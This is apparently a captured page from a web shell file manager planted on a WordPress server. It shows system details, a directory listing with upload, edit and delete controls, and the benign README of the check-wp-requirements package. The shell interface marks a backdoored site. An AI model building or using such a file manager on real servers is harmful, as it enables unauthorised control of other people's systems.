[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
vendor
/
mundschenk-at
/
check-wp-requirements
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 .github
SET
[ DEL ]
📁 partials
SET
[ DEL ]
📁 src
SET
[ DEL ]
📁 tests
SET
[ DEL ]
📄 .gitignore
309 B
SET
[ EDIT ]
|
[ DEL ]
📄 .phpstorm.meta.php
512 B
SET
[ EDIT ]
|
[ DEL ]
📄 LICENSE
18,092 B
SET
[ EDIT ]
|
[ DEL ]
📄 README.md
1,886 B
SET
[ EDIT ]
|
[ DEL ]
📄 composer.json
1,945 B
SET
[ EDIT ]
|
[ DEL ]
📄 phpcs.xml
2,291 B
SET
[ EDIT ]
|
[ DEL ]
📄 phpstan.neon
609 B
SET
[ EDIT ]
|
[ DEL ]
📄 phpunit.xml
674 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: README.md
# check-wp-requirements  [](https://packagist.org/packages/mundschenk-at/check-wp-requirements) [](https://sonarcloud.io/dashboard?id=mundschenk-at_check-wp-requirements) [](https://packagist.org/packages/mundschenk-at/check-wp-requirements) A helper class for WordPress plugins to check PHP version and other requirements. ## Requirements * PHP 7.4.0 or above * WordPress 5.2 or higher. ## Installation The best way to use this package is through Composer: ```BASH $ composer require mundschenk-at/check-wp-requirements ``` ## Basic Usage 1. Create a `\Mundschenk\WP_Requirements` object and set the requirements in the constructor. 2. Call the `\Mundschenk\WP_Requirements::check()` method and start your plugin normally if it returns `true`. ```PHP // Set up autoloader. require_once __DIR__ . '/vendor/autoload.php'; /** * Load the plugin after checking for the necessary PHP version. * * It's necessary to do this here because main class relies on namespaces. */ function run_your_plugin() { $requirements = new \Mundschenk\WP_Requirements( 'Your Plugin Name', __FILE__, 'your-textdomain', [ 'php' => '8.1.0', 'multibyte' => true, 'utf-8' => false, ] ); if ( $requirements->check() ) { // Autoload the rest of your classes. // Create and start the plugin. ... } } run_your_plugin(); ``` ## License check-wp-requirements is licensed under the GNU General Public License 2 or later - see the [LICENSE](LICENSE) file for details.